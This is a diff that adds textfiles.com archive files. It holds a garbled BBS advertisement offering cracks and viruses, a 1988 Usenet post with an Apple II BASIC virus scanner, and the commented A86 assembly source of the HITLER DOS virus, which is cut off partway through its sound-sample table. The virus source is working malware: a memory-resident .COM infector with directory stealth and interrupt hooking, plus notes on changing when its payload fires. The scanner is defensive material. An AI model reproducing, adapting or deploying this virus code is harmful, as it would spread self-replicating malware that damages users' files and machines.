+볏굅"That which does not kill/ Immortal \"Teenagers by definition, 갚껼 +볏굅 us makes us stronger." / Hate \ don't fit into society" 갚껼 +볏굅 갚껼 +볏굅 +Immortal Hate BBS +450+ Cracks/Cheats/Docs 갚껼 +볏굅 +806.xXx.xxxx +School/Term Papers 갚껼 +볏굅 +24 hours +cDc Files 갚껼 +볏굅 +12oo-14.4 bps +Series Text Files 갚껼 +볏굅 +Renegade 4-16 +UFO/JFK/Conspiracy 갚껼 +볏굅 +H/P/C/V +Song Lyrics 갚껼 +볏굅 +CCi net +MUDnet 갚껼 +볏굅 +2100 Text Files +All Major/Minor 'Zines 갚껼 +볏굅 +300+ Virus/Utils/Text +NO Ratios for LD 갚껼 +볏굅 갚껼 +볏굅 갚껼 +볏굅 VIRaXe World Headquarters 갚껼 +볏굅 F.U.C.K. World Headquarters 갚껼 +볏굅 Sysops: Damanstian & Max Headroom 갚껼 +볏굅 Don't call because we hate you...we hate everyone equally 갚껼 +훤袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴� diff --git a/textfiles.com/virus/hatedetect.vir b/textfiles.com/virus/hatedetect.vir new file mode 100644 index 00000000..487923e5 --- /dev/null +++ b/textfiles.com/virus/hatedetect.vir @@ -0,0 +1,159 @@ +From: Chip Welch (chipw@pro-newfrontier.UUCP) +Subject: Virus Detection Program +Newsgroups: comp.sys.apple +Date: 1988-07-28 17:34:43 PST + +Here is a Virus detection program that just appeared on GEnie. It will scan +all SYS programs on a disk and check for the CyberAIDS/Festering Hate virus. + +------------Applesoft Program follows:----------------- + + 100 REM This program detects ProDOS 8 SYS files + 101 REM that have been infected with the + 102 REM viruses known as: + 105 REM * CyberAIDS + 106 REM * Festering Hate + 120 REM + 121 REM If you find an infected program in your + 122 REM library, the safest thing to do is to + 123 REM delete it and replace it with an + 124 REM uninfected back up. + 130 REM + 131 REM Written by Tom Weishaar, July 1988 + 132 REM Inspiration by Dennis Doms and Eric Mueller + 133 REM + 900 D$ = CHR$ (4) + 910 DIM F$(300,1) + 1000 TEXT : HOME : PRINT CHR$ (21) + 1001 INVRSE + 1002 PRINT ": APPLE II VIRUS SCANNER: V 1.0 :" + 1003 NORMAL + 1004 PRINT + 1005 PRINT " COPYRIGHT 1988 BY" + 1006 PRINT " TOM WEISHAAR, OPEN-APPLE/GENIE" + 1007 PRINT + 1008 PRINT "FOR THE LATEST VERSION OF THIS PROGRAM," + 1009 PRINT "CHECK OUT CAT 40 IN GENIE'S A2 LIBRARY." + 1010 PRINT + 1011 PRINT "FREEWARE: MAY BE COPIED AND DISTRIBUTED" + 1012 PRINT " AS LONG AS NO MODIFICATIONS ARE MADE." + 1013 PRINT + 1014 PRINT " PRESS <RETURN> ALONE TO QUIT." + 1015 PRINT : PRINT : PRINT + 1020 REM get slot + 1021 PRINT "SCAN DISK DEVICE IN WHICH SLOT? "; + 1022 INPUT "";S$: IF S$ = "" THEN PRINT D$;"BYE" + 1023 S = VAL (S$): + 1024 IF S < 1 OR S > 7 THEN PRINT CHR$ (7): GOTO 1020 + 1040 REM get drive + 1041 PRINT " IN WHICH DRIVE? "; + 1042 INPUT "";DR$: IF DR$ = "" THEN 1020 + 1043 D = VAL (DR$): + 1044 IF D < 1 OR D > 2 THEN PRINT CHR$ (7): GOTO 1040 + 1100 REM start disk scan + 1110 ONERR GOTO 1190 + 1120 PRINT D$;"PREFIX,S";S;",D";D + 1121 PRINT D$;"PREFIX" + 1122 INPUT F$: GOSUB 4000:F$(0,0) = F$:F$(0,1) = "DIR" + 1123 POKE 216,0 + 1130 PRINT : PRINT "CHECKING ";F$(0,0) + 1131 PRINT "THIS MAY TAKE AWHILE....": PRINT + 1140 PRINT D$;"BLOAD ";F$(0,0);",TDIR,A$300,B511,L1" + 1141 IF PEEK (768) = 0 THEN 1150 + 1142 PRINT "CAUTION: VIRUS COUNTER ON THIS DISK="; PEEK (768) + 1150 REM clear F$(x,x) array + 1151 FPNT = 1 + 1152 IF F$(FPNT,1) = "" THEN GOTO 1154 + 1153 F$(FPNT,1) = "":FPNT = FPNT + 1: GOTO 1152 + 1154 FPNT = 0:DIRPNT = 1:NSYS = 0: GOTO 1200 + 1190 REM handle no device connected error + 1191 IF PEEK (222) < > 3 AND PEEK (222) < > 8 THEN 9900 + 1192 CALL - 3288 + 1193 PRINT CHR$ (7) + 1194 IF PEEK (222) = 3 THEN PRINT "NO DEVICE AT SLOT ";S;", DRIVE ";D + 1195 IF PEEK (222) = 8 THEN PRINT "I/O ERROR AT SLOT ";S;", DRIVE ";D + 1196 PRINT + 1197 POKE 216,0: GOTO 1020 + 1200 REM main loop + 1210 IF F$(FPNT,1) = "DIR" THEN GOSUB 2000:FPNT = FPNT + 1: GOTO 1210 + 1220 IF F$(FPNT,1) = "SYS" THEN GOSUB 3000:FPNT = FPNT + 1: GOTO 1210 + 1230 PRINT : IF NSYS THEN M$ = "MORE " + 1240 PRINT "NO ";M$;"SYS FILES ON THIS DISK. "; + 1250 M$ = "" + 1260 INPUT "";A$ + 1270 GOTO 1000 + 2000 REM search a directory for DIR and SYS files + 2010 ONERR GOTO 2900 + 2011 PRINT D$;"OPEN ";F$(FPNT,0);" ,TDIR" + 2012 PRINT D$;"READ ";F$(FPNT,0) + 2013 INPUT F$: IF LEN (F$) < 40 THEN 2013 + 2014 INPUT F$ + 2100 REM search directory loop + 2110 INPUT F$: ON F$ = "" GOTO 2910 + 2111 DIR$ = MID$ (F$,18,3):F$ = MID$ (F$,2,16) + 2112 GOSUB 4000 + 2120 F$(DIRPNT,0) = F$(FPNT,0) + "/" + F$ + 2130 IF DIR$ = "DIR" THEN F$(DIRPNT,1) = "DIR":DIRPNT = DIRPNT + 1 + 2140 IF DIR$ = "SYS" THEN F$(DIRPNT,1) = "SYS":DIRPNT = DIRPNT + 1 + 2150 GOTO 2110 + 2900 REM handle end-of-file error + 2901 IF PEEK (222) < > 5 THEN 9900 + 2902 CALL - 3288 + 2910 POKE 216,0 + 2911 PRINT D$;"CLOSE" + 2912 RETURN + 3000 REM do virus check on a SYS file + 3005 ONERR GOTO 3900 + 3010 PRINT D$;"BLOAD";F$(FPNT,0);",A$300,L6,B0,TSYS" + 3020 DETECT = 1:NSYS = NSYS + 1:TTL = 0 + 3030 FOR ADR = 771 TO 773 + 3031 :TTL = TTL + PEEK (ADR): IF TTL > 256 THEN TTL = TTL - 256 + 3032 NEXT + 3040 IF TTL < > 57 THEN 3700 + 3050 ADR = ( PEEK (769) + ( PEEK (770) * 256)) - 8192 + 3060 PRINT D$;"BLOAD";F$(FPNT,0);",A$300,L4,B";ADR;",TSYS" + 3070 IF PEEK (768) < > 32 THEN DETECT = 0 + 3071 IF PEEK (769) < > 88 THEN DETECT = 0 + 3072 IF PEEK (770) < > 255 THEN DETECT = 0 + 3073 IF PEEK (771) < > 186 THEN DETECT = 0 + 3690 ON DETECT GOTO 3800 + 3700 REM no virus in this file + 3710 PRINT "OK: ";F$(FPNT,0) + 3720 POKE 216,0: RETURN + 3800 REM file appears infected + 3810 DCNT = DCNT + 1 + 3820 PRINT CHR$ (7) + 3822 PRINT F$(FPNT,0);" APPEARS INFECTED." + 3825 PRINT " DELETE IT? (Y/N) "; + 3830 GET A$: PRINT A$: PRINT + 3840 IF A$ = "Y" OR A$ = "y" THEN GOSUB 3860 + 3850 POKE 216,0: RETURN + 3860 REM delete current file + 3870 PRINT D$;"UNLOCK";F$(FPNT,0) + 3880 PRINT D$;"DELETE";F$(FPNT,0) + 3890 RETURN + 3900 REM handle end-of-file error + 3901 IF PEEK (222) < > 5 THEN 9900 + 3902 CALL - 3288 + 3903 DETECT = 0: GOTO 3200 + 4000 REM delete trailing spaces & slash in F$ + 4010 FOR I = LEN (F$) TO 2 STEP - 1 + 4020 IF MID$ (F$,I,1) = " " OR MID$ (F$,I,1) = "/" THEN F$ = LEFT$ (F$,I +- 1) + 4030 NEXT + 4040 RETURN + 9900 REM fatal error + 9910 PRINT "ERROR #"; PEEK (222);" IN LINE "; PEEK (218) + PEEK (219) * 256 + 9920 END + +I hope this will help to eliminate the viruses now existing. If you are +writing programs, you should consider having your finished program check it's +own End of File marker and notify the user if the length of the program has +changed. Does anyone have any other suggestions on how to prevent Viruses +when writing programs? + + Apple ][ Forever!!! + UUCP: crash!pro-newfrontier!chipw + ARPA: crash!pro-newfrontier!chipw@nosc.mil + INET: chipw@pro-newfrontier.cts.com + GEnie: C.WELCH3 [Chip] diff --git a/textfiles.com/virus/hitler.a86 b/textfiles.com/virus/hitler.a86 new file mode 100644 index 00000000..886b37d9 --- /dev/null +++ b/textfiles.com/virus/hitler.a86 @@ -0,0 +1,718 @@ +;The HITLER virus: commented in a rough 'n' ready way by the +;Crypt Newsletter staff for issue #11, January 1993. +;The HITLER virus is a memory resident .COM infector which adds itself +;to the end of infected files. HITLER employs +;minimal directory stealth. +;The minimal stealth allows the virus to subtract its file size from +;infected targets when the user takes a look at them using "dir" +;functions while the virus is in memory. +;Most of HITLER's code is devoted to a huge data table which is a voice +;sample of some nut shouting "HITLER." The virus ties the effect to +;the timer tick function, but if you want to hear it immediately, change the +;source were indicated. The resulting code will assemble under A86. On +;execution the virus will lock the PC into the voice effect until reboot, +;rendering it uninfective, if annoying. Not all PC's can generate the +;HITLER sound effect - some will just buzz. + + + call rakett ; recalculate offset +old db '� �!�' ; virus identification marker +rakett: pop bp + push bp + add bp,-103h + + mov ax,42ABh ; check if virus installed + int 21h + jnc failed ; exit if here + + cli + mov ax,3521h + int 21h ; get interrupt vector + mov w [bp+offset old21],bx ; es:bx points to + mov w [bp+offset old21+2],es ; interrupt handler + + mov al,1Ch + int 21h + cli + mov w [bp+offset old1C],bx ; access timer tick int. + mov w [bp+offset old1C+2],es + mov w [bp+offset teller],16380 ; stuff our value into + sti ; "teller" buffer for + ; later + call normalspeed ; eh? + + mov si,ds + std + lodsb + cld + mov ds,si + + xor bx,bx + mov cx,pgf + cmp b [bx],'Z' + jne failed + mov ax,[bx+3] + sub ax,cx + jc failed + mov [bx+3],ax + sub [bx+12h],cx + mov es,[bx+12h] + + push cs + pop ds + + mov di,100h + mov si,bp + add si,di + mov cx,size + rep movsb + + push es + pop ds + mov ax,2521h + mov dx,offset ni21 ; set int 21 route through virus + int 21h + mov al,1Ch + mov dx,offset ni1C ; revector timer tick through + int 21h ; virus + +failed: push cs + push cs + pop ds + pop es + + pop si + mov di,100h + push di + movsw + movsw + movsb + + mov cx,0FFh + mov si,100h + ret ; exit to host + + +findFCB: popf + call int21 ; look to virus "stealth" + pushf ; routine, now that int 21 + or al,al ; comes through virus + jnz backFCB + call stealth +backFCB: popf + iret + +stealth: push ax ; the following essentially massages the + push bx ; file control block on directory scans, + push dx ; subtracting the virus size from infected + push es ; files before the user sees 'em + + mov ah,2Fh ; get disk transfer address + call int21 ; + + cmp byte es:[bx],0FFh ; failed? + jne normFCB ; no, everything still OK + add bx,8 +normFCB: mov al,byte es:[bx+16h] ; retrieve seconds attribute + and al,31 ; from observed file, if it's + xor al,31 ; 31, the file is infected + jnz shitFCB ; not 31 - file not infected + mov ax,word es:[bx+1Ch] + mov dx,word es:[bx+1Ch+2] + sub ax,size ; subtract virus length from + sbb dx,0 ; infected file + jc shitFCB ; no files? exit + mov word es:[bx+1Ch],ax + mov word es:[bx+1Ch+2],dx +shitFCB: ; restore everything as normal + pop es + pop dx + pop bx + pop ax + ret + +ni21: pushf + cmp ah,11h ; any user access of the file control + je findFCB ; block must come through virus + cmp ah,12h ; ditto for here + je findFCB + + cmp ax,42ABh ; + jne not_42AB + popf + clc + retf 2 +not_42AB: + cmp ax,4B00h ; is a program being loaded? + jne not_4B00 ; exit if not + + call install_24 ; install critical error handler + + push ax + push bx + push cx + push dx + push ds + push bp + + mov ax,4300h ; get file attributes of potential host + call int21 + jc back1 ; failed? exit + mov cs:old_attr,cx ; stash attributes here + + test cl,4 ; is the potential host a system file? + jnz back1 ; yes? so exit + + mov ax,4301h ; set new file attributes, read or write + xor cx,cx + call int21 + jc back1 ; error? exit + + push dx + push ds + call infect ; begin infection stuff + pop ds + pop dx + + mov ax,4301h +db 0B9h ;mov CX,... +old_attr dw 0 + call int21 + +back1: ;go here if the attrib-get fails + pop bp + pop ds + pop dx + pop cx + pop bx + pop ax + +call remove_24 ; normalize critical error handler + +not_4B00: +back: popf + db 0EAh +old21 dw 0,0 + +int21: pushf + call dword ptr cs:old21 + ret + +infect: mov ax,3D02h ; open host file with read/write access + call int21 + jnc okay_open +bad1: ret ; was there an error? exit +okay_open: xchg bx,ax + mov ax,5700h ; get file date and file time + call int21 + push cx + mov bp,sp + push dx + + mov ah,3Fh ; read first five bytes from potential host + mov cx,5 + mov dx,offset old ; store them here + push cs + pop ds + call int21 + jc close ; error, exit? + cmp al,5 ; get the five bytes? + jne close ; no, so exit + + cmp word old[0],'MZ' ; is this an .EXE file? + je close ; yes, so go away + cmp word old[0],'ZM' ; double-check, is this an .EXE file? + je close ; yes, so go away + cmp old[0],0E9h ; does it start with a jump? + jne infect1 ; no - infect! + cmp word old[3],'�!' ; does it start with the HITLER virus + jne infect1 ; marker? If no, infect! + ; (Boy, this fellow is careful!) +close: pop dx + pop cx + mov ax,5701h ; reset file date and time + call int21 + mov ah,3Eh ; close file + call int21 + ret + +infect1: mov ax,4202h ; reset pointer to end of file + xor cx,cx + xor dx,dx + call int21 + + or dx,dx + jnz close + cmp ax,59000 ; compare .COMfile size to 59,000 bytes + jae close ; greater than or equal? close file + ; HITLER is a big virus, so we don't want to + dec ax ; exceed the DOS execution boundary for .COM + dec ax ; files + dec ax + + mov word ptr putjmp[1],ax + + mov ah,40h ; write HITLER to the target file + mov cx,size ; length in CX + mov dx,100h + call int21 + jc close + cmp ax,size ; again, we're being real careful + jne close ; not to infect ourself + + mov ax,4200h ; set file pointer to beginning of host + xor cx,cx + xor dx,dx + call int21 + + mov ah,40h ; write the first five bytes of the + mov cx,5 ; viral jump and ID strings to the + mov dx,offset putjmp ; beginning of the host file + call int21 + + or byte ss:[bp],31 ; set the seconds field to 31, so the + ; "stealth" routine has its cue + jmp close ; close the file and clean up + +putjmp db 0E9h + dw 0 + db '!�' + +install_24: pushf ; installation of critical error + cli ; handler (no shit, Sherlock!) + push bx + push ds + xor bx,bx + mov ds,bx + push ds + lds bx,[24h*4] + mov cs:old24[0],bx + mov cs:old24[2],ds + pop ds + mov word [(24h*4)],offset ni24 + mov [(24h*4)+2],cs + pop ds + pop bx + sti + popf + ret + +remove_24: pushf ; remove it + cli + push bx + push es + push ds + xor bx,bx + mov ds,bx + les bx,cs:old24[0] + + mov [(24h*4)],bx + mov [(24h*4)+2],es + + pop ds + pop es + pop bx + sti + popf + ret + +errflag db 0 + +db 'Hitler Virus by Dreamer/DY',0 ; ID note by Dreamer of Demoralized + ; Youth +ni24: mov al,3 + mov cs:errflag,1 + iret + +old24 dw 0,0 + +xofs dw offset sample +len equ 4131 +divisor equ 230 +teller dw 16380 ; "new" timer tick values for viral + ; trigger +ni1C: + cli + pushf + push ax + push ds + push si + + push cs + pop ds + ; -lobotomize code from here to marker to get HITLER at start + cmp teller,0 ; compare 0 with the value the virus + je teller_ok ; stuffed into the timer tick interrupt + dec teller ; if equal - do "HITLER!" thing, if not + jmp noreset ; decrement the value + ; -bottom of lobotomy marker +teller_ok: ; sound routine to the IBM internal speaker + mov al,34h + db 0E6h,43h ;out 43h,al + mov al,divisor + db 0E6h,40h ;out 40h,al + mov al,0 + db 0E6h,40h ;out 40h,al + + mov al,090h + db 0E6h,43h ;out 43h,al + mov si,xofs + lodsb + db 0E6h,42h ;out 42h,al + + db 0E4h,61h ;in al,61h + or al,3 + db 0E6h,61h ;out al,61h + + inc xofs + cmp xofs,len+offset sample ; points to the huge table at + jb noreset ; the end of the virus, a + mov xofs,offset sample ; .VOC sample of some nut +noreset: ; shouting "HITLER!" + sti + pop si + pop ds + pop ax + popf + + db 0EAh +old1C dw 0,0 + +normalspeed: cli + push ax + mov al,34h + db 0E6h,43h + mov al,0 + db 0E6h,40h + db 0E6h,40h + pop ax + sti + ret + +sample: + + + + + db 080h,080h,080h,080h,080h,081h,080h,081h,081h,081h,081h,081h,083h + db 083h,083h,083h,083h,083h,083h,083h,083h,083h,081h,081h,081h,081h + db 080h,080h,080h,080h,080h,080h,080h,080h,080h,080h,065h,000h,000h + db 075h,08Ah,084h,083h,083h,089h,081h,081h,081h,07Ah,079h,07Ch,07Ah + db 07Bh,07Ch,07Fh,07Ah,078h,079h,07Fh,07Bh,07Fh,07Dh,07Bh,07Ah,07Fh + db 083h,08Ah,08Ch,088h,08Ah,085h,083h,089h,08Bh,080h,082h,07Fh,081h + db 07Fh,082h,081h,08Bh,07Ah,074h,07Ch,07Eh,080h,07Fh,07Fh,083h,07Fh + db 084h,082h,083h,080h,083h,081h,07Dh,07Eh,080h,083h,083h,07Dh,079h + db 07Fh,084h,080h,07Bh,07Dh,07Fh,07Fh,07Ch,07Ah,07Dh,083h,081h,07Fh + db 082h,080h,07Bh,07Fh,08Ah,08Bh,086h,085h,086h,083h,089h,089h,086h + db 084h,07Dh,07Ch,07Eh,085h,086h,085h,086h,083h,081h,088h,087h,080h + db 07Dh,081h,083h,081h,080h,07Ch,07Eh,076h,075h,07Bh,07Ah,075h,072h + db 075h,06Fh,074h,07Eh,080h,07Fh,07Fh,07Fh,083h,087h,085h,084h,08Ah + db 08Bh,086h,087h,08Ah,08Ah,08Ah,081h,081h,089h,084h,081h,07Ch,086h + db 083h,084h,082h,07Fh,082h,07Fh,087h,086h,082h,080h,076h,07Ch,07Bh + db 07Bh,082h,07Dh,07Eh,07Ah,07Fh,07Eh,085h,084h,082h,084h,07Eh,088h + db 07Fh,088h,07Eh,07Fh,07Dh,077h,07Ch,075h,07Dh,078h,07Bh,079h,07Fh + db 080h,084h,088h,081h,083h,087h,084h,087h,082h,089h,08Bh,08Fh,08Dh + db 08Bh,087h,080h,083h,081h,08Ch,07Ah,082h,076h,07Fh,07Bh,07Ah,07Ah + db 07Ch,077h,072h,077h,07Ch,07Fh,080h,07Eh,07Bh,07Dh,07Ah,080h,07Ch + db 07Eh,076h,082h,082h,08Dh,089h,084h,085h,085h,086h,087h,089h,086h + db 085h,08Ch,087h,090h,085h,07Ch,082h,083h,087h,07Ch,088h,07Bh,074h + db 091h,085h,09Bh,086h,086h,070h,076h,079h,08Dh,080h,06Bh,063h,069h + db 07Dh,067h,04Ch,081h,07Ah,0ABh,0A8h,09Ch,08Eh,060h,056h,07Fh,088h + db 089h,075h,094h,08Ch,013h,092h,040h,0D7h,0B0h,097h,0C4h,036h,057h + db 082h,0CBh,0C5h,09Dh,0C8h,00Dh,0A5h,026h,0A7h,072h,06Bh,0E0h,032h + db 089h,07Ah,0A7h,0E4h,0D7h,048h,07Fh,034h,07Bh,054h,06Fh,0B6h,02Bh + db 06Ah,055h,0ABh,0C0h,032h,09Fh,074h,06Fh,0A4h,043h,0B6h,040h,087h + db 090h,095h,0FFh,060h,015h,074h,039h,0E0h,044h,0D7h,080h,027h,0C9h + db 070h,0E7h,0F8h,025h,0AEh,009h,0ABh,050h,067h,0ACh,01Ch,0E3h,068h + db 09Fh,0FFh,02Fh,0CEh,014h,09Fh,080h,023h,0C4h,056h,0D3h,075h,0AFh + db 0F4h,035h,0A8h,000h,077h,040h,000h,09Ch,05Bh,0BBh,078h,0EBh,0D4h + db 07Fh,0A8h,007h,0BDh,032h,04Dh,092h,087h,0D4h,08Dh,0FFh,070h,0D7h + db 04Ch,06Bh,08Ch,01Ah,08Fh,078h,092h,087h,0CFh,0E8h,06Fh,0A0h,000h + db 0A5h,01Ch,007h,069h,073h,0B0h,07Fh,0FFh,068h,0D1h,028h,067h,070h + db 009h,09Bh,05Ch,0BFh,06Ch,0DFh,0A0h,09Fh,080h,01Bh,0A0h,020h,077h + db 082h,08Bh,0A8h,0A7h,0F0h,077h,0C8h,011h,0BAh,044h,033h,0B0h,069h + db 0B2h,08Eh,0FFh,068h,0DAh,018h,06Fh,060h,00Dh,0BAh,053h,0AFh,06Eh + db 0D7h,0B0h,07Fh,080h,00Ah,0B2h,020h,055h,080h,05Dh,098h,09Bh,0C0h + db 07Fh,094h,009h,0AFh,032h,05Bh,080h,05Ah,093h,093h,0FFh,071h,0DCh + db 030h,07Fh,080h,01Fh,0BBh,074h,0F2h,079h,0E7h,074h,0DFh,050h,03Fh + db 0A2h,02Ch,0B7h,070h,06Dh,072h,0AFh,0F0h,05Ah,0A2h,000h,095h,032h + db 01Fh,094h,06Bh,0E0h,054h,0F6h,059h,0E3h,048h,05Fh,0A0h,033h,0BFh + db 074h,073h,070h,0E7h,0A0h,06Bh,074h,000h,0A1h,024h,027h,065h,08Dh + db 097h,0BBh,0FFh,06Ah,0E2h,04Ah,07Fh,084h,003h,087h,04Fh,0CDh,075h + db 0E5h,0B8h,09Dh,0A8h,019h,0C2h,048h,047h,0A0h,05Ch,071h,077h,0FFh + db 068h,06Bh,074h,00Fh,0BBh,010h,077h,048h,087h,0A4h,087h,0FCh,07Dh + db 0F0h,040h,0C7h,082h,047h,0B8h,04Ah,099h,05Eh,0DBh,082h,087h,058h + db 000h,098h,020h,06Fh,072h,06Fh,0A8h,083h,0FFh,059h,0E5h,052h,067h + db 0AAh,028h,0B9h,03Fh,0C6h,05Ch,0AFh,0C0h,087h,0A0h,00Eh,0BBh,04Ah + db 08Fh,080h,03Fh,078h,064h,0FFh,068h,093h,068h,01Fh,0B6h,020h,092h + db 04Bh,0B7h,08Ah,095h,0D8h,08Bh,0C0h,021h,0C7h,06Ah,07Fh,09Ch,067h + db 085h,04Eh,0FFh,070h,09Fh,050h,000h,0ADh,021h,08Fh,058h,0BFh,084h + db 075h,0E0h,06Fh,0D0h,014h,0ABh,074h,077h,0B8h,046h,096h,056h,0EFh + db 098h,07Fh,098h,000h,0A3h,038h,05Fh,070h,06Fh,0A4h,04Bh,0E4h,054h + db 0D9h,040h,06Fh,098h,05Dh,0C2h,051h,095h,054h,095h,0DCh,06Fh,0B8h + db 000h,06Fh,068h,03Fh,0A0h,057h,0E0h,049h,0DDh,084h,0C7h,074h,025h + db 0D8h,05Bh,0E6h,04Ch,08Fh,068h,03Fh,0E8h,04Ah,0CFh,032h,033h,0A0h + db 039h,0C2h,040h,0D7h,05Ch,09Bh,0A0h,087h,098h,029h,0D5h,070h,09Fh + db 082h,07Bh,084h,03Dh,0D5h,068h,0BDh,02Ch,01Bh,0A8h,040h,0BDh,054h + db 0B3h,062h,04Fh,0D6h,064h,0D4h,039h,05Fh,098h,06Fh,0C8h,03Ah,0B1h + db 04Eh,06Fh,0A4h,07Fh,0AAh,011h,097h,06Ah,09Bh,094h,049h,0C0h,045h + db 0AFh,080h,09Dh,098h,022h,0BFh,062h,0BDh,065h,047h,0B0h,040h,0BFh + db 070h,0ADh,070h,01Dh,0C9h,067h,089h,06Ch,07Fh,0D0h,060h,0BFh,072h + db 09Bh,080h,000h,08Dh,052h,0ABh,064h,055h,0DAh,078h,0CBh,0A8h,0AFh + db 080h,016h,09Fh,062h,0AFh,04Ch,03Dh,0C0h,062h,05Fh,0C8h,05Bh,0CEh + db 024h,01Bh,084h,06Bh,08Ch,060h,0BFh,0A4h,09Dh,0FFh,060h,0BCh,01Ah + db 000h,0B0h,066h,0CCh,054h,073h,0D8h,085h,09Bh,0C8h,055h,0C2h,020h + db 001h,072h,056h,069h,07Ch,0AAh,0A8h,07Bh,0AFh,080h,087h,090h,018h + db 065h,071h,065h,0C2h,095h,0DAh,0B1h,09Ch,0C5h,08Ah,07Bh,080h,03Dh + db 044h,051h,05Fh,06Ah,075h,089h,07Eh,082h,083h,080h,06Eh,064h,062h + db 066h,075h,083h,08Bh,0A2h,0A6h,0A9h,0BAh,08Bh,091h,076h,07Bh,07Eh + db 069h,07Bh,064h,06Dh,080h,075h,079h,06Ah,077h,07Ah,071h,078h,06Fh + db 082h,07Ah,083h,090h,088h,07Ch,07Dh,088h,085h,089h,08Ah,085h,083h + db 091h,086h,089h,085h,079h,07Fh,07Bh,083h,07Eh,077h,078h,083h,07Fh + db 082h,08Bh,076h,079h,075h,07Fh,090h,074h,079h,075h,077h,072h,085h + db 084h,076h,07Eh,074h,07Dh,07Eh,07Ah,080h,080h,07Fh,077h,07Eh,07Ah + db 080h,080h,07Fh,088h,07Ch,084h,07Fh,07Fh,080h,081h,07Eh,079h,08Ah + db 087h,086h,083h,08Dh,086h,07Ch,08Ch,07Ah,07Bh,073h,087h,098h,082h + db 083h,07Dh,083h,07Ch,075h,083h,06Dh,077h,073h,085h,085h,072h,07Ch + db 077h,082h,07Ah,07Ch,075h,06Bh,06Ch,073h,082h,073h,075h,07Eh,074h + db 081h,087h,08Dh,088h,080h,075h,07Fh,08Dh,083h,097h,084h,081h,083h + db 085h,080h,078h,07Dh,078h,07Fh,082h,087h,08Ch,078h,082h,081h,086h + db 082h,07Dh,081h,07Bh,074h,078h,084h,078h,084h,080h,07Eh,079h,075h + db 079h,072h,081h,07Dh,08Bh,07Eh,07Bh,086h,082h,086h,07Fh,07Eh,077h + db 076h,084h,07Eh,080h,074h,077h,07Fh,090h,08Ch,085h,07Ah,062h,06Ah + db 080h,08Ch,08Dh,07Eh,072h,07Bh,082h,089h,095h,08Ah,06Fh,07Ah,083h + db 082h,083h,07Bh,077h,07Ah,079h,082h,07Dh,06Eh,077h,06Eh,082h,07Eh + db 088h,07Dh,07Fh,078h,071h,081h,075h,07Ch,086h,07Fh,086h,07Eh,085h + db 081h,086h,087h,08Dh,08Ah,076h,07Ah,07Ah,086h,085h,08Ah,086h,085h + db 07Dh,077h,078h,06Eh,07Fh,07Ah,07Dh,07Eh,074h,083h,079h,088h,07Ah + db 084h,078h,073h,081h,079h,086h,083h,081h,07Fh,082h,094h,080h,080h + db 06Eh,069h,07Ch,078h,07Eh,07Bh,07Ch,072h,086h,090h,086h,07Dh,079h + db 07Eh,084h,08Bh,07Eh,080h,080h,072h,090h,088h,07Ch,079h,076h,07Bh + db 07Fh,086h,07Ah,081h,07Dh,07Dh,08Ah,07Ah,080h,070h,075h,07Eh,079h + db 085h,073h,076h,075h,087h,087h,088h,084h,07Ch,07Ah,076h,077h,07Bh + db 079h,083h,07Bh,081h,07Dh,07Ch,07Fh,080h,081h,07Fh,08Ah,082h,082h + db 08Ch,082h,086h,086h,08Ah,083h,080h,071h,073h,07Fh,077h,084h,087h + db 081h,07Bh,07Fh,07Fh,087h,086h,079h,083h,077h,087h,07Ch,07Ch,07Ch + db 075h,082h,071h,076h,07Ch,076h,079h,079h,082h,070h,080h,07Ah,081h + db 087h,084h,07Ah,070h,07Dh,06Fh,082h,084h,07Eh,081h,07Bh,07Dh,07Fh + db 08Fh,07Dh,07Ch,084h,07Eh,07Bh,086h,088h,07Eh,08Fh,089h,075h,08Ah + db 07Dh,079h,07Dh,080h,079h,07Fh,086h,077h,078h,07Dh,06Eh,08Dh,07Fh + db 074h,076h,07Eh,078h,078h,08Dh,079h,07Eh,082h,07Eh,080h,087h,079h + db 076h,082h,074h,07Eh,081h,06Eh,074h,081h,082h,081h,092h,07Bh,07Fh + db 08Fh,08Ah,08Bh,07Ch,070h,074h,08Fh,07Eh,084h,084h,06Fh,075h,07Ah + db 08Eh,07Bh,07Ch,078h,078h,083h,086h,08Eh,07Eh,082h,070h,07Dh,08Dh + db 078h,07Bh,06Fh,077h,076h,087h,085h,074h,079h,077h,07Dh,085h,084h + db 06Bh,07Eh,07Eh,077h,086h,088h,079h,07Dh,091h,07Bh,081h,09Bh,073h + db 080h,07Bh,07Bh,090h,084h,070h,07Bh,08Ah,078h,07Fh,081h,071h,07Fh + db 082h,080h,074h,081h,07Bh,06Dh,07Fh,070h,078h,089h,07Ch,077h,089h + db 08Ah,07Fh,086h,07Eh,072h,081h,073h,068h,07Fh,082h,073h,085h,08Ah + db 086h,09Eh,093h,07Bh,081h,086h,069h,07Dh,086h,06Ch,07Fh,088h,088h + db 08Fh,09Ch,08Ch,079h,086h,074h,067h,06Dh,064h,069h,077h,07Fh,084h + db 09Fh,085h,08Dh,09Bh,074h,071h,06Ch,05Dh,062h,07Dh,06Dh,073h,086h + db 090h,091h,097h,092h,07Ah,079h,07Ch,061h,06Dh,076h,073h,070h,088h + db 090h,094h,09Bh,09Bh,094h,078h,077h,078h,060h,05Dh,069h,07Bh,087h + db 090h,09Fh,09Dh,09Fh,0A1h,080h,076h,068h,053h,04Bh,066h,072h,072h + db 086h,099h,097h,0A2h,0ADh,082h,06Ah,064h,05Ah,053h,061h,06Ah,067h + db 08Ah,0ABh,0ADh,0ACh,09Bh,0A5h,060h,067h,066h,059h,056h,06Fh,093h + db 08Fh,0BFh,0A8h,08Eh,0AFh,0AAh,044h,04Fh,070h,041h,057h,08Dh,084h + db 07Dh,0D1h,094h,07Eh,0BEh,088h,02Dh,06Ah,070h,038h,07Bh,0ABh,063h + db 0AFh,0A0h,068h,075h,0CDh,064h,013h,087h,068h,02Fh,0ABh,0B4h,037h + db 097h,0E0h,050h,097h,0F8h,022h,063h,0D4h,02Ah,07Dh,0E6h,038h,02Fh + db 0F9h,080h,047h,0E7h,0DAh,010h,07Fh,084h,034h,0B7h,0B0h,01Dh,035h + db 0D7h,0C0h,04Fh,0A1h,0B2h,002h,06Fh,0DEh,014h,087h,040h,001h,077h + db 0FFh,0A0h,032h,0BDh,0E2h,05Bh,0D7h,0C0h,000h,095h,02Ah,000h,0A7h + db 0C8h,02Ch,057h,0AEh,0C4h,09Fh,0E2h,030h,03Bh,0DCh,04Ah,02Fh,0FCh + db 084h,03Ah,0A5h,0D3h,094h,0BBh,0D8h,020h,07Fh,0A0h,018h,033h,0FFh + db 